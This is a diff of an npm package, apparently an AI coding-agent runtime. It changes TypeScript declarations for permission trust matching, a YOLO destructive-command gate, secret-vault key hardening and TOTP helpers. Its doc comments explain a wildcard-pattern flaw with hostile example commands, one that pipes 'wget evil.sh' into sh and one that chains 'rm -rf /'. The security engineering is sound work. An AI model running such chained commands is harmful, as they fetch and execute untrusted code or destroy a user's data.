- package/dist/registry/slash-command-registry.d.ts.map +0 -1
- package/dist/registry/tool-registry.d.ts.map +0 -1
- package/dist/replay/hash.d.ts.map +0 -1
- package/dist/replay/index.d.ts.map +0 -1
- package/dist/replay/index.js.map +0 -7
- package/dist/replay/replay-provider-runner.d.ts.map +0 -1
- package/dist/security/capabilities.d.ts.map +0 -1
- package/dist/security/config-secrets.d.ts.map +0 -1
- package/dist/security/directory-permission-policy.d.ts.map +0 -1
- package/dist/security/directory-policy-schema.d.ts.map +0 -1
- package/dist/security/index.d.ts.map +0 -1
- package/dist/security/index.js.map +0 -7
- package/dist/security/kanban-boundary.d.ts.map +0 -1
- package/dist/security/permission-policy-schema.d.ts.map +0 -1
- package/dist/security/permission-policy.d.ts.map +0 -1
- package/dist/security/readonly-permission-policy.d.ts.map +0 -1
- package/dist/security/secret-scrubber.d.ts.map +0 -1
- package/dist/security/secret-vault.d.ts.map +0 -1
- package/dist/security/trust-boundary.d.ts.map +0 -1
- package/dist/security/yolo-risk.d.ts.map +0 -1
- package/dist/session-registry-atomic-file.d.ts.map +0 -1
- package/dist/session-registry-types.d.ts.map +0 -1
- package/dist/session-registry.d.ts.map +0 -1
- package/dist/skills/foreign-sources.d.ts.map +0 -1
- package/dist/skills/frontmatter.d.ts.map +0 -1
- package/dist/skills/github-fetcher.d.ts.map +0 -1
- package/dist/skills/index.d.ts.map +0 -1
- package/dist/skills/index.js.map +0 -7
- package/dist/skills/limits.d.ts.map +0 -1
- package/dist/skills/manifest-store.d.ts.map +0 -1
- package/dist/skills/registry/github-direct-adapter.d.ts.map +0 -1
- package/dist/skills/registry/registry-adapter.d.ts.map +0 -1
- package/dist/skills/registry/skills-sh-adapter.d.ts.map +0 -1
- package/dist/skills/skill-generator.d.ts.map +0 -1
- package/dist/skills/skill-installer.d.ts.map +0 -1
- package/dist/storage/annotations-store.d.ts.map +0 -1
- package/dist/storage/attachment-store.d.ts.map +0 -1
- package/dist/storage/cloud-sync.d.ts.map +0 -1
- package/dist/storage/completed-work-checkpoint.d.ts.map +0 -1
- package/dist/storage/config-loader/bootstrap.d.ts.map +0 -1
- package/dist/storage/config-loader/default-repair.d.ts.map +0 -1
- package/dist/storage/config-loader/defaults.d.ts.map +0 -1
- package/dist/storage/config-loader/diagnostics.d.ts.map +0 -1
- package/dist/storage/config-loader/env-overrides.d.ts.map +0 -1
- package/dist/storage/config-loader/in-project-policy.d.ts.map +0 -1
- package/dist/storage/config-loader/inline-provider-models.d.ts.map +0 -1
- package/dist/storage/config-loader/legacy-sage-migration.d.ts.map +0 -1
- package/dist/storage/config-loader/path-identity.d.ts.map +0 -1
- package/dist/storage/config-loader/types.d.ts.map +0 -1
- package/dist/storage/config-loader/validation.d.ts.map +0 -1
- package/dist/storage/config-loader.d.ts.map +0 -1
- package/dist/storage/config-migration.d.ts.map +0 -1
- package/dist/storage/config-store.d.ts.map +0 -1
- package/dist/storage/director-state.d.ts.map +0 -1
- package/dist/storage/file-session-writer.d.ts.map +0 -1
- package/dist/storage/goal-coordination.d.ts.map +0 -1
- package/dist/storage/goal-kanban.d.ts.map +0 -1
- package/dist/storage/goal-store.d.ts.map +0 -1
- package/dist/storage/index.d.ts.map +0 -1
- package/dist/storage/index.js.map +0 -7
- package/dist/storage/input-history-store.d.ts.map +0 -1
- package/dist/storage/memory-backend.d.ts.map +0 -1
- package/dist/storage/memory-consolidator.d.ts.map +0 -1
- package/dist/storage/memory-graph-backend.d.ts.map +0 -1
- package/dist/storage/plan-store.d.ts.map +0 -1
- package/dist/storage/plan-templates.d.ts.map +0 -1
- package/dist/storage/prompt-store.d.ts.map +0 -1
- package/dist/storage/prompt-usage-store.d.ts.map +0 -1
- package/dist/storage/provider-config-watcher.d.ts.map +0 -1
- package/dist/storage/queue-store.d.ts.map +0 -1
- package/dist/storage/recovery-lock.d.ts.map +0 -1
- package/dist/storage/replay-log-store.d.ts.map +0 -1
- package/dist/storage/session-analyzer.d.ts.map +0 -1
- package/dist/storage/session-checkpoint-cas.d.ts.map +0 -1
- package/dist/storage/session-event-bridge.d.ts.map +0 -1
- package/dist/storage/session-helpers.d.ts.map +0 -1
- package/dist/storage/session-id-resolver.d.ts.map +0 -1
- package/dist/storage/session-id.d.ts.map +0 -1
- package/dist/storage/session-read-scrubber.d.ts.map +0 -1
- package/dist/storage/session-reader.d.ts.map +0 -1
- package/dist/storage/session-recovery.d.ts.map +0 -1
- package/dist/storage/session-resume-validation.d.ts.map +0 -1
- package/dist/storage/session-rewind-apply.d.ts.map +0 -1
- package/dist/storage/session-rewinder.d.ts.map +0 -1
- package/dist/storage/session-store/delete-session-artifacts.d.ts.map +0 -1
- package/dist/storage/session-store/delete-session-guards.d.ts.map +0 -1
- package/dist/storage/session-store/directory-scan.d.ts.map +0 -1
- package/dist/storage/session-store/directory-session-files.d.ts.map +0 -1
- package/dist/storage/session-store/events.d.ts.map +0 -1
- package/dist/storage/session-store/fork-session.d.ts.map +0 -1
- package/dist/storage/session-store/index-reader.d.ts.map +0 -1
- package/dist/storage/session-store/load-cache.d.ts.map +0 -1
- package/dist/storage/session-store/load-session-data.d.ts.map +0 -1
- package/dist/storage/session-store/paths.d.ts.map +0 -1
- package/dist/storage/session-store/prune-helpers.d.ts.map +0 -1
- package/dist/storage/session-store/replay.d.ts.map +0 -1
- package/dist/storage/session-store/search-events.d.ts.map +0 -1
- package/dist/storage/session-store/shard-manifest.d.ts.map +0 -1
- package/dist/storage/session-store/summary-builder.d.ts.map +0 -1
- package/dist/storage/session-store/summary-header.d.ts.map +0 -1
- package/dist/storage/session-store/types.d.ts.map +0 -1
- package/dist/storage/session-store.d.ts.map +0 -1
- package/dist/storage/session-summary.d.ts.map +0 -1
- package/dist/storage/session-tool-call-ends.d.ts.map +0 -1
- package/dist/storage/session-writer-scrubber.d.ts.map +0 -1
- package/dist/storage/session-writer-truncate.d.ts.map +0 -1
- package/dist/storage/storage-concurrency.d.ts.map +0 -1
- package/dist/storage/task-store.d.ts.map +0 -1
- package/dist/storage/todos-checkpoint.d.ts.map +0 -1
- package/dist/storage/tool-audit-log.d.ts.map +0 -1
- package/dist/tasking/index.d.ts.map +0 -1
- package/dist/tasking/index.js.map +0 -7
- package/dist/tasking/task-store.d.ts.map +0 -1
- package/dist/tasking/task-tracker.d.ts.map +0 -1
- package/dist/tools/council-tool.d.ts.map +0 -1
- package/dist/tools/fallback-chain-manage-tool.d.ts.map +0 -1
- package/dist/tools/fallback-favorite-manage-tool.d.ts.map +0 -1
- package/dist/tools/fallback-manage-helpers.d.ts.map +0 -1
- package/dist/tools/fallback-manage-tool-options.d.ts.map +0 -1
- package/dist/tools/fallback-manage-tools.d.ts.map +0 -1
- package/dist/tools/fallback-model-ref-parse.d.ts.map +0 -1
- package/dist/tools/fallback-provider-key-store.d.ts.map +0 -1
- package/dist/tools/fallback-system-config-view-tool.d.ts.map +0 -1
- package/dist/tools/index.d.ts.map +0 -1
- package/dist/tools/index.js.map +0 -7
- package/dist/tools/mcp-control.d.ts.map +0 -1
- package/dist/tools/mcp-use.d.ts.map +0 -1
- package/dist/tools/one-shot-llm-tool.d.ts.map +0 -1
- package/dist/tools/plugin-manager.d.ts.map +0 -1
- package/dist/types/agent-bridge.d.ts.map +0 -1
- package/dist/types/attachment.d.ts.map +0 -1
- package/dist/types/autonomy.d.ts.map +0 -1
- package/dist/types/blocks.d.ts.map +0 -1
- package/dist/types/compactor.d.ts.map +0 -1
- package/dist/types/config/autonomy.d.ts.map +0 -1
- package/dist/types/config/context.d.ts.map +0 -1
- package/dist/types/config/fleet-chat.d.ts.map +0 -1
- package/dist/types/config/mcp-features.d.ts.map +0 -1
- package/dist/types/config/providers.d.ts.map +0 -1
- package/dist/types/config/root.d.ts.map +0 -1
- package/dist/types/config/runtime.d.ts.map +0 -1
- package/dist/types/config/skills-fleet-brain.d.ts.map +0 -1
- package/dist/types/config/tools.d.ts.map +0 -1
- package/dist/types/config.d.ts.map +0 -1
- package/dist/types/context-evidence.d.ts.map +0 -1
- package/dist/types/context-window.d.ts.map +0 -1
- package/dist/types/council.d.ts.map +0 -1
- package/dist/types/default-config.d.ts.map +0 -1
- package/dist/types/design-kit.d.ts.map +0 -1
- package/dist/types/error-handler.d.ts.map +0 -1
- package/dist/types/errors.d.ts.map +0 -1
- package/dist/types/file-event-record.d.ts.map +0 -1
- package/dist/types/hooks.d.ts.map +0 -1
- package/dist/types/index.d.ts.map +0 -1
- package/dist/types/index.js.map +0 -7
- package/dist/types/input-reader.d.ts.map +0 -1
- package/dist/types/logger.d.ts.map +0 -1
- package/dist/types/memory.d.ts.map +0 -1
- package/dist/types/messages.d.ts.map +0 -1
- package/dist/types/mode-prompts.d.ts.map +0 -1
- package/dist/types/mode.d.ts.map +0 -1
- package/dist/types/models-registry.d.ts.map +0 -1
- package/dist/types/multi-agent.d.ts.map +0 -1
- package/dist/types/observability.d.ts.map +0 -1
- package/dist/types/one-shot-llm.d.ts.map +0 -1
- package/dist/types/path-resolver.d.ts.map +0 -1
- package/dist/types/permission.d.ts.map +0 -1
- package/dist/types/plugin.d.ts.map +0 -1
- package/dist/types/prompt-registry.d.ts.map +0 -1
- package/dist/types/prompt.d.ts.map +0 -1
- package/dist/types/provider-runner.d.ts.map +0 -1
- package/dist/types/provider.d.ts.map +0 -1
- package/dist/types/quota-regex.d.ts.map +0 -1
- package/dist/types/renderer.d.ts.map +0 -1
- package/dist/types/retry-policy.d.ts.map +0 -1
- package/dist/types/secret-scrubber.d.ts.map +0 -1
- package/dist/types/secret-vault.d.ts.map +0 -1
- package/dist/types/selector.d.ts.map +0 -1
- package/dist/types/session-markers.d.ts.map +0 -1
- package/dist/types/session-markers.js.map +0 -7
- package/dist/types/session-reader.d.ts.map +0 -1
- package/dist/types/session-rewinder.d.ts.map +0 -1
- package/dist/types/session.d.ts.map +0 -1
- package/dist/types/side-effect.d.ts.map +0 -1
- package/dist/types/skill.d.ts.map +0 -1
- package/dist/types/slash-command.d.ts.map +0 -1
- package/dist/types/spec.d.ts.map +0 -1
- package/dist/types/system-prompt-contributor.d.ts.map +0 -1
- package/dist/types/system-prompt.d.ts.map +0 -1
- package/dist/types/task-graph.d.ts.map +0 -1
- package/dist/types/token-counter.d.ts.map +0 -1
- package/dist/types/tool-executor.d.ts.map +0 -1
- package/dist/types/tool-markers.d.ts.map +0 -1
- package/dist/types/tool.d.ts.map +0 -1
- package/dist/types/utility-types.d.ts.map +0 -1
- package/dist/utils/assert-never.d.ts.map +0 -1
- package/dist/utils/atomic-write.d.ts.map +0 -1
- package/dist/utils/cache-key.d.ts.map +0 -1
- package/dist/utils/child-env.d.ts.map +0 -1
- package/dist/utils/color.d.ts.map +0 -1
- package/dist/utils/compaction-preview.d.ts.map +0 -1
- package/dist/utils/config-backup.d.ts.map +0 -1
- package/dist/utils/config-json.d.ts.map +0 -1
- package/dist/utils/connectivity.d.ts.map +0 -1
- package/dist/utils/context-breakdown.d.ts.map +0 -1
- package/dist/utils/context-evidence.d.ts.map +0 -1
- package/dist/utils/continuous-memory-profiler.d.ts.map +0 -1
- package/dist/utils/crash-shield.d.ts.map +0 -1
- package/dist/utils/deep-merge.d.ts.map +0 -1
- package/dist/utils/diff.d.ts.map +0 -1
- package/dist/utils/error.d.ts.map +0 -1
- package/dist/utils/error.js.map +0 -7
- package/dist/utils/expect-defined.d.ts.map +0 -1
- package/dist/utils/expect-defined.js.map +0 -7
- package/dist/utils/glob-expand.d.ts.map +0 -1
- package/dist/utils/glob-match.d.ts.map +0 -1
- package/dist/utils/heap-watchdog-types.d.ts.map +0 -1
- package/dist/utils/heap-watchdog.d.ts.map +0 -1
- package/dist/utils/heap-watchdog.js.map +0 -7
- package/dist/utils/incoming-images.d.ts.map +0 -1
- package/dist/utils/index.d.ts.map +0 -1
- package/dist/utils/index.js.map +0 -7
- package/dist/utils/instruction-file.d.ts.map +0 -1
- package/dist/utils/ip-guard.d.ts.map +0 -1
- package/dist/utils/json-repair.d.ts.map +0 -1
- package/dist/utils/json-schema-validate.d.ts.map +0 -1
- package/dist/utils/lru-cache.d.ts.map +0 -1
- package/dist/utils/memory-flight-recorder.d.ts.map +0 -1
- package/dist/utils/merge-custom-models.d.ts.map +0 -1
- package/dist/utils/merge-models-payload.d.ts.map +0 -1
- package/dist/utils/message-invariants.d.ts.map +0 -1
- package/dist/utils/newline-normalize.d.ts.map +0 -1
- package/dist/utils/perf-profile.d.ts.map +0 -1
- package/dist/utils/pid.d.ts.map +0 -1
- package/dist/utils/project-identity.d.ts.map +0 -1
- package/dist/utils/project-watch.d.ts.map +0 -1
- package/dist/utils/regex-guard.d.ts.map +0 -1
- package/dist/utils/safe-json.d.ts.map +0 -1
- package/dist/utils/sage-output-block.d.ts.map +0 -1
- package/dist/utils/session-scoped-path.d.ts.map +0 -1
- package/dist/utils/sleep.d.ts.map +0 -1
- package/dist/utils/slug.d.ts.map +0 -1
- package/dist/utils/socket-path.d.ts.map +0 -1
- package/dist/utils/sqlite-warning.d.ts.map +0 -1
- package/dist/utils/string.d.ts.map +0 -1
- package/dist/utils/task-format.d.ts.map +0 -1
- package/dist/utils/term.d.ts.map +0 -1
- package/dist/utils/todos-format.d.ts.map +0 -1
- package/dist/utils/token-estimate.d.ts.map +0 -1
- package/dist/utils/tool-description-mode.d.ts.map +0 -1
- package/dist/utils/tool-name.d.ts.map +0 -1
- package/dist/utils/tool-output-serializer.d.ts.map +0 -1
- package/dist/utils/tool-result-render-mode.d.ts.map +0 -1
- package/dist/utils/tool-subject.d.ts.map +0 -1
- package/dist/utils/tool-wire-compact.d.ts.map +0 -1
- package/dist/utils/tree-kill.d.ts.map +0 -1
- package/dist/utils/tree-kill.js.map +0 -7
- package/dist/utils/ulid.d.ts.map +0 -1
- package/dist/utils/walk-ignore.d.ts.map +0 -1
- package/dist/utils/wstack-paths.d.ts.map +0 -1
- package/dist/worktree/index.d.ts.map +0 -1
- package/dist/worktree/index.js.map +0 -7
- package/dist/worktree/worktree-git.d.ts.map +0 -1
- package/dist/worktree/worktree-managed-ops.d.ts.map +0 -1
- package/dist/worktree/worktree-manager.d.ts.map +0 -1
- package/dist/worktree/worktree-types.d.ts.map +0 -1
|
@@ -0,0 +1,93 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Pure helpers for permission policy evaluation — trust-pattern matching,
|
|
3
|
+
* tool fingerprinting, and sensitive-read detection.
|
|
4
|
+
*
|
|
5
|
+
* Extracted from permission-policy.ts. No class state, no I/O.
|
|
6
|
+
*/
|
|
7
|
+
import type { Tool } from '../types/tool.js';
|
|
8
|
+
/**
|
|
9
|
+
* Match a computed subject against stored trust patterns.
|
|
10
|
+
*
|
|
11
|
+
* Exact string equality is checked FIRST, before glob compilation. Subjects are
|
|
12
|
+
* glob-escaped at the source (`escapeGlobSubject` turns `* ? [ ]` into `\* \? \[
|
|
13
|
+
* \]`), and a stored "always"-trust pattern is just a prior subject — so for an
|
|
14
|
+
* identical command the pattern and the subject are byte-for-byte equal. The
|
|
15
|
+
* glob matcher alone could not confirm that: `compileGlob` does not treat a
|
|
16
|
+
* backslash as an escape outside character classes, so an escaped `\[`/`\]` is
|
|
17
|
+
* parsed as a character-class delimiter and a command like `[ -f x ]` or
|
|
18
|
+
* `grep "[0-9]"` never re-matched its own trust entry — re-prompting forever
|
|
19
|
+
* even after the user chose "always" (#15). Exact equality is also strictly
|
|
20
|
+
* tighter than a glob, so this never widens what a pattern authorizes; genuine
|
|
21
|
+
* wildcard patterns (e.g. a user-authored `git *`) still fall through to glob.
|
|
22
|
+
*/
|
|
23
|
+
export declare function matchesTrust(patterns: string[], subject: string): boolean;
|
|
24
|
+
/**
|
|
25
|
+
* Match a trust pattern against a shell command line, for ALLOW decisions only
|
|
26
|
+
* (WS-047).
|
|
27
|
+
*
|
|
28
|
+
* `matchesTrust` compiles `*` to `[^/]*`, which crosses `;`, `&` and `|`. On a
|
|
29
|
+
* path that is right; on a command it means a user who wrote `git *` also
|
|
30
|
+
* authorized `git status; wget evil.sh | sh`. `matchAnyCommand` stops the
|
|
31
|
+
* wildcard at shell separators, so the pattern authorizes what it appears to.
|
|
32
|
+
*
|
|
33
|
+
* DELIBERATELY NOT used for deny. This matcher is strictly narrower, and
|
|
34
|
+
* narrowing a deny pattern un-blocks whatever falls outside it: a deny of
|
|
35
|
+
* `git *` must keep matching `git status; rm -rf /`, because the user's intent
|
|
36
|
+
* there is "no git-shaped command gets through", not "only well-formed ones".
|
|
37
|
+
* Narrower is safer for allow and more dangerous for deny — hence two call
|
|
38
|
+
* sites with two matchers rather than one shared helper that picks.
|
|
39
|
+
*
|
|
40
|
+
* Exact equality is kept first for the same reason as `matchesTrust`: a stored
|
|
41
|
+
* "always" pattern is a prior subject, and glob-escaped brackets do not
|
|
42
|
+
* round-trip through the compiler (#15).
|
|
43
|
+
*/
|
|
44
|
+
export declare function matchesCommandTrust(patterns: string[], subject: string): boolean;
|
|
45
|
+
/**
|
|
46
|
+
* True when this tool's permission subject is a shell command line rather than
|
|
47
|
+
* a path, url, or name — i.e. when the stricter wildcard rules apply.
|
|
48
|
+
*/
|
|
49
|
+
export declare function hasShellSubject(tool: Tool): boolean;
|
|
50
|
+
/**
|
|
51
|
+
* Reason a persistent "always allow" cannot be recorded for this call, or
|
|
52
|
+
* `undefined` when it can (WS-046).
|
|
53
|
+
*
|
|
54
|
+
* A stored trust pattern is only ever consulted as
|
|
55
|
+
* `entry.allow && subject && matchesTrust(entry.allow, subject)`. When the tool
|
|
56
|
+
* produces no subject, that condition can never be true — so `trust()` with the
|
|
57
|
+
* fallback `pattern: tool.name` writes an entry that is dead on arrival.
|
|
58
|
+
*
|
|
59
|
+
* The user experience of that bug is the damaging part. They pick "always
|
|
60
|
+
* allow", are asked again on the very next identical call, conclude the feature
|
|
61
|
+
* is broken, and reach for the one thing that does work: a blanket
|
|
62
|
+
* `{"exec": {"auto": true}}`. A silent no-op does not just fail to help — it
|
|
63
|
+
* actively trains people into the widest possible grant.
|
|
64
|
+
*
|
|
65
|
+
* So the option is refused with a stated reason instead of accepted and
|
|
66
|
+
* discarded. Exported so a UI can hide the choice rather than offer one that
|
|
67
|
+
* cannot be honoured.
|
|
68
|
+
*/
|
|
69
|
+
export declare function alwaysAllowUnavailableReason(tool: Tool, input: unknown): string | undefined;
|
|
70
|
+
/**
|
|
71
|
+
* Fingerprint of the tool fields a permission decision actually depends on
|
|
72
|
+
* (WS-058).
|
|
73
|
+
*
|
|
74
|
+
* The eval cache was keyed on tool NAME plus subject, so a cached verdict
|
|
75
|
+
* outlived the tool definition it was computed from. `ToolRegistry.wrap()`
|
|
76
|
+
* replaces a tool in place and is reachable from the plugin API, so a tool
|
|
77
|
+
* tightened to `permission: 'deny'` mid-session would keep being served the
|
|
78
|
+
* `auto` decided under its previous definition. The cache check also runs
|
|
79
|
+
* BEFORE the tool-default-deny branch, so nothing downstream re-checked.
|
|
80
|
+
*
|
|
81
|
+
* Including these fields in the key means a redefined tool misses the cache
|
|
82
|
+
* and is re-evaluated, rather than inheriting a verdict that no longer
|
|
83
|
+
* describes it. Capabilities are included because the dangerous-capability
|
|
84
|
+
* branches read them; they are short, sorted lists. The tuple is
|
|
85
|
+
* JSON-serialized so separators inside a field value (e.g. a `,` or `|`
|
|
86
|
+
* in a capability string) cannot collide with the delimiters between
|
|
87
|
+
* fields.
|
|
88
|
+
*/
|
|
89
|
+
export declare function permissionFingerprint(tool: Tool): string;
|
|
90
|
+
export declare function shellCommandLineFromInput(input: unknown): string | undefined;
|
|
91
|
+
export declare function inputPathLooksSensitive(input: unknown): boolean;
|
|
92
|
+
export declare function shellCommandReadsSensitivePath(command: string): boolean;
|
|
93
|
+
//# sourceMappingURL=permission-helpers.d.ts.map
|
|
@@ -3,9 +3,17 @@ import type { InputReader } from '../types/input-reader.js';
|
|
|
3
3
|
import type { PermissionDecision, PermissionPolicy, PermissionTrace } from '../types/permission.js';
|
|
4
4
|
import type { Tool } from '../types/tool.js';
|
|
5
5
|
import { type TrustPolicyDiagnostic } from './permission-policy-schema.js';
|
|
6
|
+
export { AutoApprovePermissionPolicy } from './auto-approve-policy.js';
|
|
7
|
+
export { alwaysAllowUnavailableReason, matchesTrust, matchesCommandTrust, hasShellSubject, permissionFingerprint, shellCommandLineFromInput, inputPathLooksSensitive, shellCommandReadsSensitivePath, } from './permission-helpers.js';
|
|
6
8
|
export interface PermissionPolicyOptions {
|
|
7
9
|
trustFile: string;
|
|
8
10
|
yolo?: boolean | undefined;
|
|
11
|
+
/**
|
|
12
|
+
* Let YOLO auto-approve destructive shell commands too. Off by default: with
|
|
13
|
+
* YOLO on, `rm -rf`, git history rewrites and external publishes still ask
|
|
14
|
+
* (WS-008).
|
|
15
|
+
*/
|
|
16
|
+
yoloDestructive?: boolean | undefined;
|
|
9
17
|
promptDelegate?: (tool: Tool, input: unknown, suggestedPattern: string) => Promise<'yes' | 'no' | 'always' | 'deny'>;
|
|
10
18
|
inputReader?: InputReader | undefined;
|
|
11
19
|
}
|
|
@@ -45,9 +53,13 @@ export declare class DefaultPermissionPolicy implements PermissionPolicy {
|
|
|
45
53
|
/** Pre-compiled wildcard patterns — rebuilt on reload for O(1) lookup. */
|
|
46
54
|
private wildcardEntries;
|
|
47
55
|
/**
|
|
48
|
-
* Evaluate-result cache. Keyed by `tool.name::subject`
|
|
49
|
-
* with the same tool+input skip namespace matching,
|
|
50
|
-
* and pattern matching (matchAny).
|
|
56
|
+
* Evaluate-result cache. Keyed by `tool.name::subject::permissionFingerprint`
|
|
57
|
+
* so repeated calls with the same tool+input skip namespace matching,
|
|
58
|
+
* subject computation, and pattern matching (matchAny). The fingerprint
|
|
59
|
+
* suffix covers the `Tool` fields `evaluate()` reads (`permission`,
|
|
60
|
+
* `riskTier`, `mutating`, `capabilities`), so a tool redefined via
|
|
61
|
+
* `ToolRegistry.wrap()` misses the cache instead of inheriting a stale
|
|
62
|
+
* verdict.
|
|
51
63
|
*
|
|
52
64
|
* Cleared on any state change (reload, trust, deny, yolo toggle) because
|
|
53
65
|
* the result depends on the full policy state. The write-tool smart-bypass
|
|
@@ -63,7 +75,29 @@ export declare class DefaultPermissionPolicy implements PermissionPolicy {
|
|
|
63
75
|
private _evalCache;
|
|
64
76
|
private policyDiagnostics;
|
|
65
77
|
private policyInvalid;
|
|
78
|
+
/**
|
|
79
|
+
* When true, YOLO also auto-approves clearly destructive shell commands.
|
|
80
|
+
*
|
|
81
|
+
* WS-008: `isClearlyDestructiveBashCommand` was exported and heavily tested
|
|
82
|
+
* but called from zero production modules, so YOLO returned `auto` for
|
|
83
|
+
* everything — including `rm -rf`, git history rewrites, and external
|
|
84
|
+
* publishes. The `'yolo_destructive'` decision source, the getter/setter on
|
|
85
|
+
* PermissionPolicy, and the TUI branch that reads it all existed; only the
|
|
86
|
+
* gate itself was missing. Defaults to false: destructive commands still ask,
|
|
87
|
+
* even in YOLO.
|
|
88
|
+
*/
|
|
89
|
+
private yoloDestructive;
|
|
66
90
|
constructor(opts: PermissionPolicyOptions);
|
|
91
|
+
/** Allow YOLO to cover destructive shell commands too (off by default). */
|
|
92
|
+
setYoloDestructive(enabled: boolean): void;
|
|
93
|
+
/** Whether YOLO currently extends to destructive shell commands. */
|
|
94
|
+
getYoloDestructive(): boolean;
|
|
95
|
+
/**
|
|
96
|
+
* True when YOLO is on but this specific call is a destructive shell command
|
|
97
|
+
* the user has not opted to auto-approve. Shared by `evaluate()` and the
|
|
98
|
+
* explain/trace path so the two cannot drift.
|
|
99
|
+
*/
|
|
100
|
+
private yoloBlockedAsDestructive;
|
|
67
101
|
/**
|
|
68
102
|
* Replace (or clear) the interactive prompt delegate at runtime.
|
|
69
103
|
* Used by the CLI to switch from inline prompts (REPL) to event-driven
|
|
@@ -108,36 +142,4 @@ export declare class DefaultPermissionPolicy implements PermissionPolicy {
|
|
|
108
142
|
explain(tool: Tool, input: unknown, ctx: Context): Promise<PermissionTrace>;
|
|
109
143
|
private findNamespaceEntry;
|
|
110
144
|
}
|
|
111
|
-
/**
|
|
112
|
-
* Auto-approving PermissionPolicy used for subagents. Subagents run
|
|
113
|
-
* non-interactively under a director — they cannot answer permission
|
|
114
|
-
* prompts, so a non-YOLO policy on the leader would silently hang the
|
|
115
|
-
* delegated run on the first sensitive tool call. The user already
|
|
116
|
-
* authorized the delegation when they invoked the leader; subagents
|
|
117
|
-
* inherit that authorization automatically.
|
|
118
|
-
*
|
|
119
|
-
* Tool defaults of `permission: 'deny'` are still honored (this is a
|
|
120
|
-
* subagent capability override, not a deny-bypass).
|
|
121
|
-
*
|
|
122
|
-
* 2026-06+: Primary decision is now based on declared `Tool.capabilities`
|
|
123
|
-
* (capability allowlist / denylist model). The legacy name-based DENY set
|
|
124
|
-
* is kept only for backward compatibility with tools that have not yet
|
|
125
|
-
* declared capabilities.
|
|
126
|
-
*
|
|
127
|
-
* 2026-06-13+: Switched to allowlist-by-default. Only tools with explicitly
|
|
128
|
-
* allowed capabilities are auto-approved. Everything else is denied.
|
|
129
|
-
* Default allowed: fs.read, net.outbound (read-only, safe operations).
|
|
130
|
-
*/
|
|
131
|
-
export declare class AutoApprovePermissionPolicy implements PermissionPolicy {
|
|
132
|
-
private readonly allowedCapabilities;
|
|
133
|
-
constructor(allowedCapabilities?: readonly string[]);
|
|
134
|
-
private static isMcpTool;
|
|
135
|
-
evaluate(tool: Tool): Promise<PermissionDecision>;
|
|
136
|
-
trust(): Promise<void>;
|
|
137
|
-
deny(): Promise<void>;
|
|
138
|
-
denyOnce(): void;
|
|
139
|
-
allowOnce(): void;
|
|
140
|
-
explain(tool: Tool): Promise<PermissionTrace>;
|
|
141
|
-
reload(): Promise<void>;
|
|
142
|
-
}
|
|
143
145
|
//# sourceMappingURL=permission-policy.d.ts.map
|
|
@@ -24,6 +24,14 @@ export declare class DefaultSecretVault implements RotatableSecretVault {
|
|
|
24
24
|
private readonly logger;
|
|
25
25
|
private key?;
|
|
26
26
|
private _keyVersion;
|
|
27
|
+
/**
|
|
28
|
+
* Pending key-file hardening promises (Windows ACL restrictions via icacls).
|
|
29
|
+
* Tracked so async callers can `flushHardening()` before returning, ensuring
|
|
30
|
+
* a short-lived CLI process does not exit before the hardening resolves.
|
|
31
|
+
* Sync-only callers (encrypt/decrypt lazy-load) leave these pending —
|
|
32
|
+
* hardening remains best-effort in that case.
|
|
33
|
+
*/
|
|
34
|
+
private pendingHardening;
|
|
27
35
|
constructor(opts: SecretVaultOptions);
|
|
28
36
|
/**
|
|
29
37
|
* Emit a structured warning. Uses the configured Logger when available;
|
|
@@ -31,6 +39,15 @@ export declare class DefaultSecretVault implements RotatableSecretVault {
|
|
|
31
39
|
* during early boot.
|
|
32
40
|
*/
|
|
33
41
|
private logWarn;
|
|
42
|
+
/**
|
|
43
|
+
* Schedule best-effort key-file hardening and track the promise so async
|
|
44
|
+
* callers can await it via `flushHardening()` before returning. Rejections
|
|
45
|
+
* are swallowed here (the helper already warns on failure) so a rejection
|
|
46
|
+
* can never become an unhandled one.
|
|
47
|
+
*/
|
|
48
|
+
private scheduleKeyHardening;
|
|
49
|
+
/** Flush all pending key-file hardening promises. */
|
|
50
|
+
flushHardening(): Promise<void>;
|
|
34
51
|
/** Current key version. Starts at 1; incremented by rotateKey(). */
|
|
35
52
|
get keyVersion(): number;
|
|
36
53
|
isEncrypted(value: string): boolean;
|
|
@@ -0,0 +1,86 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* RFC 6238 TOTP (Time-Based One-Time Password) implementation.
|
|
3
|
+
*
|
|
4
|
+
* Zero external dependencies — uses `node:crypto` for HMAC-SHA1 and
|
|
5
|
+
* implements RFC 4648 base32 encoding/decoding inline.
|
|
6
|
+
*
|
|
7
|
+
* Used by the HQ 2FA system to generate and verify authenticator codes.
|
|
8
|
+
* The TOTP secret is stored vault-encrypted in `auth.json`; this module
|
|
9
|
+
* deals only with the cryptographic primitives, not persistence.
|
|
10
|
+
*
|
|
11
|
+
* @module security/totp
|
|
12
|
+
*/
|
|
13
|
+
/**
|
|
14
|
+
* RFC 4648 base32 encode (no padding). Used to encode TOTP secrets for
|
|
15
|
+
* authenticator apps (Google Authenticator, Authy, 1Password, etc.).
|
|
16
|
+
*/
|
|
17
|
+
export declare function base32Encode(buffer: Buffer): string;
|
|
18
|
+
/**
|
|
19
|
+
* RFC 4648 base32 decode. Tolerates whitespace and lowercase input
|
|
20
|
+
* (authenticator apps sometimes normalize). Throws on truly invalid chars.
|
|
21
|
+
*/
|
|
22
|
+
export declare function base32Decode(input: string): Buffer;
|
|
23
|
+
/**
|
|
24
|
+
* Generate a random TOTP secret (20 bytes of entropy → 32 base32 chars).
|
|
25
|
+
* This is the recommended secret length per RFC 6238 §5.1.
|
|
26
|
+
*/
|
|
27
|
+
export declare function generateTotpSecret(byteLength?: number): string;
|
|
28
|
+
/**
|
|
29
|
+
* HOTP (RFC 4226) core: compute a single OTP from a counter value.
|
|
30
|
+
*/
|
|
31
|
+
export declare function hotp(secret: Buffer, counter: number, digits?: number): string;
|
|
32
|
+
/**
|
|
33
|
+
* Compute the TOTP counter for a given timestamp.
|
|
34
|
+
* T = floor(unixSeconds / stepSeconds)
|
|
35
|
+
*/
|
|
36
|
+
export declare function totpCounter(unixSeconds: number, stepSeconds?: number): number;
|
|
37
|
+
/**
|
|
38
|
+
* Generate a TOTP code for the current time.
|
|
39
|
+
*
|
|
40
|
+
* @param secretBase32 - base32-encoded secret (from `generateTotpSecret`)
|
|
41
|
+
* @param atMs - epoch milliseconds; defaults to `Date.now()`. Exposed for tests.
|
|
42
|
+
* @param stepSeconds - time step in seconds; defaults to 30 (RFC 6238 default).
|
|
43
|
+
